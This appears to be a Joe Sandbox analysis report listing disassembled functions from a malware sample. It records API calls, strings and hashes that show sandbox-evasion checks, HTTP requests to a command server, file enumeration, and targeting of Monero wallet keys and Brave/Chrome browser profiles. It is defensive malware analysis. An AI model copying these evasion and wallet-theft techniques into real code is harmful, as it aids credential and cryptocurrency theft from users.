Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 69262e7203cfb903c2ec87e958661759a52543cc309e5eff15dd17fe1f6b9415
Instruction ID: 99cbdc46a7953657644bab7c7e8b1cbb7f5dcdff0b453c0481b2641d3aac3b0e
Opcode Fuzzy Hash: 69262e7203cfb903c2ec87e958661759a52543cc309e5eff15dd17fe1f6b9415
Instruction Fuzzy Hash: EA314075D002089ADB09F7E0E856FEE77B8EF44340F04652AF512B2282DF715A43D7A6

Function 00EC1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EC123E
__aulldiv.LIBCMT ref: 00EC1258
__aulldiv.LIBCMT ref: 00EC1266
ExitProcess.KERNEL32 ref: 00EC1294

Strings

@, xrefs: 00EC1233

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 55ddfa6102ad97908fad552aa2bb59df5b95bb2dd0aa7a41cf91ba7fd90f5aaf
Instruction ID: 7a803a1b611b289c94e5370dea8e0f6004e78349a33670d11223df9db4607408
Opcode Fuzzy Hash: 55ddfa6102ad97908fad552aa2bb59df5b95bb2dd0aa7a41cf91ba7fd90f5aaf
Instruction Fuzzy Hash: 1601A2B0D44308BAEB14EBD0CD49FADB7B8EF00705F208049F705B62C1D7B555428798

Function 00ED6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01B88AA0,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ED6AE8
CloseHandle.KERNEL32(00000000), ref: 00ED6AF9
Sleep.KERNEL32(00001770), ref: 00ED6B04
CloseHandle.KERNEL32(?,00000000,?,01B88AA0,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6B1A
ExitProcess.KERNEL32 ref: 00ED6B22

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 6c498f3da2f1c194b19db8a8799f3720a160a1f4dd82df2fffbbf472bd7abbe3
Instruction ID: c3af2cf3e5977176c26fe426d813e8f010f909eca9c40797493384d06b2bc3ce
Opcode Fuzzy Hash: 6c498f3da2f1c194b19db8a8799f3720a160a1f4dd82df2fffbbf472bd7abbe3
Instruction Fuzzy Hash: F8F05E30940319ABEB20ABA0EC06BBD7B74EF04701F10A527F513B22C1DBF05682D756

Function 00EC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Strings

<, xrefs: 00EC47C9

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: c50eef585ff125dc8e5d32540d1938b696541bc66ed9da60a45c15894b8cea4b
Instruction ID: be5d9375714ddb877910f5914646517304440eaaa5e4d8f6dd1086a6bf3808b8
Opcode Fuzzy Hash: c50eef585ff125dc8e5d32540d1938b696541bc66ed9da60a45c15894b8cea4b
Instruction Fuzzy Hash: 4F215EB1D00209ABDF14DFA4EC45ADE7B74FF04320F109625F925B7281EB706A0ACB81

Function 00ED51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC6280: InternetOpenA.WININET(00EE0DFE,00000001,00000000,00000000,00000000), ref: 00EC62E1
Part of subcall function 00EC6280: StrCmpCA.SHLWAPI(?,01B8E220), ref: 00EC6303
Part of subcall function 00EC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC6335
Part of subcall function 00EC6280: HttpOpenRequestA.WININET(00000000,GET,?,01B8DA10,00000000,00000000,00400100,00000000), ref: 00EC6385
Part of subcall function 00EC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC63BF
Part of subcall function 00EC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5228

Strings

ERROR, xrefs: 00ED5273
ERROR, xrefs: 00ED521A

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: ec0acd8ffbfc6cb678e7b1a2949ad7e5e2bf510e3618a90c44185990e0f3a1d3
Instruction ID: 2cd4ac1931a053862da47214513487fd5b38d990b9214edd8ee62c2bc656c70c
Opcode Fuzzy Hash: ec0acd8ffbfc6cb678e7b1a2949ad7e5e2bf510e3618a90c44185990e0f3a1d3
Instruction Fuzzy Hash: 75112131900148ABCB18FF60DD56EED73B8EF50300F44516AF81A66292EF70AB07C691

Function 00EC1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EC112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00EC1132
ExitProcess.KERNEL32 ref: 00EC1143

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d88a8e8744bfd9ec89c3272cea82b0335ca0f827af4f54b019785812b769d10f
Instruction ID: 97ecfab70612d0551d4a9b12fa60fdbce998406d5db83f3bf98ef69f416d1f29
Opcode Fuzzy Hash: d88a8e8744bfd9ec89c3272cea82b0335ca0f827af4f54b019785812b769d10f
Instruction Fuzzy Hash: 4BE08670D45308FBE7246BA0AD0AF0876B8AF04B02F104095F709771C1C6F526419798

Function 00EC10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00EC10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00EC10F7

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: cfff7aa77af324156223aaa624bba558a0a4e48b5713947d2465e3956fc72ec1
Instruction ID: ba7f5d838f066ffc66f19302fcd4a02512f7d3b569123accf21d9f852d1125a4
Opcode Fuzzy Hash: cfff7aa77af324156223aaa624bba558a0a4e48b5713947d2465e3956fc72ec1
Instruction Fuzzy Hash: 31F0E271A41308BBE7149AA4AD5AFABB7E8E709B15F302458F504E3280D5729F40CBA0

Function 00EC1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00ED78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
Part of subcall function 00ED78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
Part of subcall function 00ED78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Part of subcall function 00ED7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
Part of subcall function 00ED7850: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
Part of subcall function 00ED7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

ExitProcess.KERNEL32 ref: 00EC11C6

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: b9f0b50e322e3d0ba96c6cd156ba1606a406f1a2c9d2f07aa5629837a9c98c28
Instruction ID: a51dbd862047ad33d8b38f73b7a83e2f1fc62558b157d629c3f63c3559d9515c
Opcode Fuzzy Hash: b9f0b50e322e3d0ba96c6cd156ba1606a406f1a2c9d2f07aa5629837a9c98c28
Instruction Fuzzy Hash: F2E0ECA5D1431152CA1873B4BD0AB2A32DC9B15349F08242ABA05A3247FA6AE8428665

Non-executed Functions

Function 00ED38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ED38CC
FindFirstFileA.KERNEL32(?,?), ref: 00ED38E3
lstrcat.KERNEL32(?,?), ref: 00ED3935
StrCmpCA.SHLWAPI(?,00EE0F70), ref: 00ED3947
StrCmpCA.SHLWAPI(?,00EE0F74), ref: 00ED395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED3C67
FindClose.KERNEL32(000000FF), ref: 00ED3C7C

Strings

%s\%s, xrefs: 00ED3A6F
%s%s, xrefs: 00ED3AAD
%s\*, xrefs: 00ED38C0
%s\%s, xrefs: 00ED397A
%s\%s\%s, xrefs: 00ED3A4A

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 0e9966ff2dc96f031a54658f806963257f58978f3922d2745355e803ae010537
Instruction ID: fb0125aa11bdbb7c468afaa646c2742b151785b7766c718a5c85c43658a17bf3
Opcode Fuzzy Hash: 0e9966ff2dc96f031a54658f806963257f58978f3922d2745355e803ae010537
Instruction Fuzzy Hash: 1EA151B2A003089BDB35DB64DC85FEA73B8FF88300F044599A51DA7145EBB19B85CF62

Function 00ECBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00EE0B32,00EE0B2B,00000000,?,?,?,00EE13F4,00EE0B2A), ref: 00ECBEF5
StrCmpCA.SHLWAPI(?,00EE13F8), ref: 00ECBF4D
StrCmpCA.SHLWAPI(?,00EE13FC), ref: 00ECBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECC7BF
FindClose.KERNEL32(000000FF), ref: 00ECC7D1

Strings

Preferences, xrefs: 00ECC11E
Google Chrome, xrefs: 00ECC634
Brave, xrefs: 00ECC102
\Brave\Preferences, xrefs: 00ECC1DB

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 6a5bc259f44482ea29a87d150feaca3b7efa6dd65098ac956377e74a20e1d206
Instruction ID: d648c5f8a59ba8177503ff8557441d64b1b8b7e1567aa5f704a6e06a9f992579
Opcode Fuzzy Hash: 6a5bc259f44482ea29a87d150feaca3b7efa6dd65098ac956377e74a20e1d206
Instruction Fuzzy Hash: 054245729001085BCB18FB70DD56EED73BDEF44300F44556AF90AB6281EE359B4ACB92

Function 00ED4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ED492C
FindFirstFileA.KERNEL32(?,?), ref: 00ED4943
StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
FindClose.KERNEL32(000000FF), ref: 00ED4B92

Strings

%s\%s, xrefs: 00ED49A4
%s\*, xrefs: 00ED4920
%s\%s, xrefs: 00ED49FB

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
